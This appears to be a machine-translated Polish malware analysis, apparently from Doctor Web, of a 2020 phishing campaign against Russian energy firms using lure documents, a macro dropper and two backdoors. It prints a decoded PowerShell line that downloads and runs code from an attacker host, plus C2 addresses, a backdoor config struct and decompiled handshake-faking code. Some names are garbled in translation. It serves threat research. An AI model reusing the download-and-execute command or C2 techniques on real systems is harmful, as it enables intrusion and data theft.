
Nasze doświadczenie w badaniu incydentów związanych z bezpieczeństwem komputerowym pokazuje, że poczta elektroniczna nadal jest jednym z najpopularniejszych kanałów wykorzystywanych przez atakujących do wstępnej penetracji zaatakowanej infrastruktury sieciowej. Jedna nieostrożna czynność związana z podejrzanym (lub nie aż tak podejrzanym) listem staje się punktem wejścia do dalszej infekcji, dlatego cyberprzestępcy aktywnie korzystają z metod socjotechnicznych, choć z różnym skutkiem.
W tym poście chcielibyśmy podzielić się wynikami naszego ostatniego śledztwa w sprawie kampanii spamowej skierowanej do szeregu firm z rosyjskiego sektora paliwowo-energetycznego. Wszystkie ataki przebiegały według tego samego scenariusza i polegały na wysyłaniu fałszywych wiadomości e-mail. Wygląda jednak na to, że nikt nie przyłożył się zbytnio do treści tych wiadomości.
Eksploracja
Wszystko zaczęło się pod koniec kwietnia 2020 r., kiedy analitycy wirusów Doctor Web odnotowali kampanię spamową, w ramach której hakerzy wysłali zaktualizowaną książkę telefoniczną pracownikom kilku rosyjskich firm paliwowo-energetycznych. Oczywiście, nie był to zwykły przejaw obaw, ponieważ podręcznik nie był prawdziwy, a w dokumentach .docx znajdowały się dwa obrazy ze zdalnych źródeł.
Jeden z nich został pobrany na komputer użytkownika z serwera news[.]zannews[.]com. Warto zauważyć, że nazwa domeny jest podobna do domeny kazachskiego centrum medialnego do walki z korupcją - zannews[.]kz. Z drugiej strony, użyta domena natychmiast przypomniała nam inną kampanię z 2015 r. znaną jako TOPNEWS, która wykorzystywała tylne wejście ICEFOG, a domeny kontrolujące trojany miały w swoich nazwach podciąg „news”. Kolejną ciekawą cechą było to, że podczas wysyłania wiadomości e-mail do różnych odbiorców w żądaniach pobrania obrazu stosowano albo różne parametry zapytania, albo unikalne nazwy obrazów.
Uważamy, że miało to na celu zebranie informacji pozwalających na ustalenie „wiarygodnego” adresata, który będzie miał gwarancję otwarcia listu we właściwym czasie. Do pobrania obrazu z drugiego serwera wykorzystano protokół SMB, co mogło mieć na celu zebranie skrótów NetNTLM z komputerów pracowników otwierających otrzymany dokument.
A oto sam list z fałszywym katalogiem:

W czerwcu tego roku hakerzy zaczęli używać nowej nazwy domeny do przesyłania zdjęć: sports[.]manhajnews[.]com. Analiza wykazała, że subdomeny manhajnews[.]com były używane w spamie co najmniej od września 2019 r. Jednym z celów tej kampanii był duży rosyjski uniwersytet.
Również w czerwcu organizatorzy ataków opracowali nową treść swoich listów: tym razem dokument zawierał informacje o wydarzeniach w przemyśle. Z treści listu jasno wynikało, że jego autor albo nie był rodzimym użytkownikiem języka rosyjskiego, albo celowo stworzył takie wrażenie. Niestety, pomysły na rozwój branży, jak zwykle, okazały się tylko przykrywką - dokument ponownie pobrał dwa obrazy, a serwer zmienił się na download[.]inklingpaper[.]com.
Następna innowacja pojawiła się w lipcu. Próbując ominąć wykrywanie złośliwych dokumentów przez programy antywirusowe, atakujący zaczęli używać dokumentów Microsoft Word szyfrowanych hasłem. Jednocześnie atakujący zdecydowali się na zastosowanie klasycznej techniki socjotechnicznej: powiadomienia o nagrodzie.

Tekst apelu został ponownie napisany w tym samym stylu, co wzbudziło dodatkowe podejrzenia u adresata. Serwer służący do pobierania obrazu również nie uległ zmianie.
Należy zauważyć, że we wszystkich przypadkach do wysyłania listów wykorzystano konta e-mail zarejestrowane w domenach mail[.]ru i yandex[.]ru.
Atak
Na początku września 2020 r. nadszedł czas na aktywne działania. Nasi analitycy wirusów odnotowali nową falę ataków, w ramach których atakujący ponownie wysyłali wiadomości e-mail pod pretekstem aktualizacji książki telefonicznej. Jednak tym razem załącznik zawierał złośliwe makro.
Po otwarciu załączonego dokumentu makro utworzyło dwa pliki:
- Skrypt VBS %APPDATA%microsoftwindowsstart menuprogramsstartuadoba.vbs, którego celem było uruchomienie pliku wsadowego;
- sam plik wsadowy %APPDATA%configstest.bat, który został zaciemniony.

Istota jego działania sprowadza się do uruchomienia powłoki PowerShell z określonymi parametrami. Parametry przekazywane powłoce są dekodowane do postaci poleceń:
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;Jak widać z podanych poleceń, domena, z której pobierany jest ładunek, znów jest zamaskowana jako witryna informacyjna. Do zainfekowanego komputera dostarczany jest prosty malware , którego jedynym zadaniem jest odbieranie kodu powłoki z serwera sterującego i jego wykonywanie. Udało nam się zidentyfikować dwa rodzaje tylnych drzwi, które można zainstalować na komputerze ofiary.
BackDoor.Siggen2.3238
Pierwszy to BackDoor.Siggen2.3238 — nasi specjaliści nie natknęli się wcześniej na ten program, nie znaleźliśmy też wzmianek o nim u innych producentów oprogramowania antywirusowego.
Ten program to backdoor napisany w C++ i działa w 32-bitowych systemach operacyjnych. Windows.
BackDoor.Siggen2.3238 może utrzymywać komunikację z serwerem sterującym za pomocą dwóch protokołów: HTTP i HTTPS. Badana próbka korzysta z protokołu HTTPS. W żądaniach wysyłanych do serwera używany jest następujący User-Agent:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)
W tym przypadku wszystkie żądania są dostarczane z następującym zestawem parametrów:
%s;type=%s;length=%s;realdata=%send
gdzie każdy wiersz %s jest odpowiednio zastępowany przez:
- identyfikator zainfekowanego komputera,
- rodzaj wysyłanego żądania,
- długość danych w polu realdata,
- dane.
Na etapie zbierania informacji o zainfekowanym systemie, backdoor generuje ciąg następującego typu:
lan=%s;cmpname=%s;username=%s;version=%s;
gdzie lan to adres IP zainfekowanego komputera, cmpname to nazwa komputera, username to nazwa użytkownika, version to ciąg znaków 0.0.4.03.
Informacje te wraz z identyfikatorem sysinfo są wysyłane za pomocą żądania POST do serwera sterującego znajdującego się pod adresem https[:]//31.214[.]157.14/log.txt. Jeśli w odpowiedzi BackDoor.Siggen2.3238 otrzymuje sygnał HEART, połączenie jest uznawane za udane, a tylne wejście rozpoczyna główny cykl komunikacji z serwerem.
Bardziej szczegółowy opis zasad działania BackDoor.Siggen2.3238 jest w naszym .
Tylne Drzwi.Biały Ptak.23
Drugi program to modyfikacja backdoora BackDoor.Whitebird, znanego nam już z incydentu z kazachską agencją rządową. Ta wersja jest napisana w C++ i jest przeznaczona do działania zarówno na 32-, jak i 64-bitowych systemach operacyjnych. Windows.
Jak większość programów tego typu, Tylne Drzwi.Biały Ptak.23 ma na celu nawiązanie szyfrowanego połączenia z serwerem sterującym i przejęcie nieautoryzowanej kontroli nad zainfekowanym komputerem. Instaluje się go w zainfekowanym systemie za pomocą kroplomierza. .
Badana przez nas próbka była złośliwą biblioteką z dwoma eksportami:
- GooglePlay,
- Test.
Na początku swojej pracy odszyfrowuje konfigurację zapisaną w korpusie tylnego wejścia, wykorzystując algorytm bazujący na operacji XOR z bajtem 0x99. Konfiguracja wygląda następująco:
struct st_cfg
{
_DWORD dword0;
wchar_t campaign[64];
wchar_t cnc_addr[256];
_DWORD cnc_port;
wchar_t cnc_addr2[100];
wchar_t cnc_addr3[100];
_BYTE working_hours[1440];
wchar_t proxy_domain[50];
_DWORD proxy_port;
_DWORD proxy_type;
_DWORD use_proxy;
_BYTE proxy_login[50];
_BYTE proxy_password[50];
_BYTE gapa8c[256];
};
Aby zapewnić stałe działanie, tylne drzwi zmieniają wartość określoną w polu godziny_pracy konfiguracje. Pole zawiera 1440 bajtów, które przyjmują wartości 0 lub 1 i reprezentują każdą minutę każdej godziny dnia. Tworzy oddzielny wątek dla każdego interfejsu sieciowego, który nasłuchuje na interfejsie i wyszukuje pakiety autoryzacyjne na serwerze proxy z zainfekowanego komputera. Po wykryciu takiego pakietu backdoor dodaje do swojej listy informacje o serwerze proxy. Sprawdza również obecność serwera proxy za pomocą WinAPI OpcjaInternetQueryOptionW.
Program sprawdza aktualną minutę i godzinę i porównuje je z danymi w polu godziny_pracy konfiguracje. Jeżeli wartość odpowiadająca danej minucie dnia jest różna od zera, to nawiązywane jest połączenie z serwerem sterującym.
Nawiązanie połączenia z serwerem symuluje utworzenie połączenia z wykorzystaniem protokołu TLS w wersji 1.0 pomiędzy klientem a serwerem. Tylne drzwi zawierają dwa bufory.
Pierwszy bufor zawiera pakiet TLS 1.0 Client Hello.

Drugi bufor zawiera pakiety wymiany kluczy klienta TLS 1.0 z długością klucza 0x100 bajtów, zmianę specyfikacji szyfru, zaszyfrowaną wiadomość handshake.

Podczas wysyłania pakietu Client Hello tylne wejście zapisuje 4 bajty bieżącego czasu i 28 bajtów pseudolosowych danych w polu Client Random, obliczanych w następujący sposób:
v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
*(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
clientrnd[j] ^= 7 * (_BYTE)j;
Otrzymany pakiet zostaje wysłany do serwera sterującego. Odpowiedź (pakiet Hello serwera) sprawdza:
- Zgodność z protokołem TLS w wersji 1.0;
- znacznik czasu (pierwsze 4 bajty pola pakietu danych losowych) określony przez klienta jest zgodny ze znacznikiem czasu określonym przez serwer;
- dopasowanie pierwszych 4 bajtów po znaczniku czasu w polu Losowe dane klienta i serwera.
Jeżeli zostaną znalezione jakieś dopasowania, tylne wejście przygotowuje pakiet wymiany kluczy klienta. Aby to zrobić, modyfikuje klucz publiczny w pakiecie Client Key Exchange, a także szyfrowanie IV i dane szyfrowania w pakiecie Encrypted Handshake Message.
Następnie tylne wejście odbiera pakiet z serwera C&C, sprawdza, czy wersja protokołu TLS wynosi 1.0, a następnie odbiera kolejne 54 bajty (treść pakietu). To kończy konfigurację połączenia.
Bardziej szczegółowy opis zasad działania Tylne Drzwi.Biały Ptak.23 jest w naszym .
Wnioski i wnioski
Analiza dokumentów, złośliwego oprogramowania i wykorzystanej infrastruktury pozwala z całą pewnością stwierdzić, że atak przygotowała jedna z chińskich grup APT. Biorąc pod uwagę funkcjonalność tylnych drzwi, które są instalowane na komputerach ofiar w przypadku udanego ataku, infekcja prowadzi, co najmniej, do kradzieży poufnych informacji z komputerów atakowanych organizacji.
Ponadto bardzo prawdopodobnym scenariuszem jest instalacja na lokalnych serwerach wyspecjalizowanych trojanów o specjalnej funkcji. Mogą to być kontrolery domen, serwery pocztowe, bramy internetowe itp. Jak widać w przykładzie , takie serwery są szczególnie interesujące dla atakujących z różnych powodów.
Źródło: www.habr.com
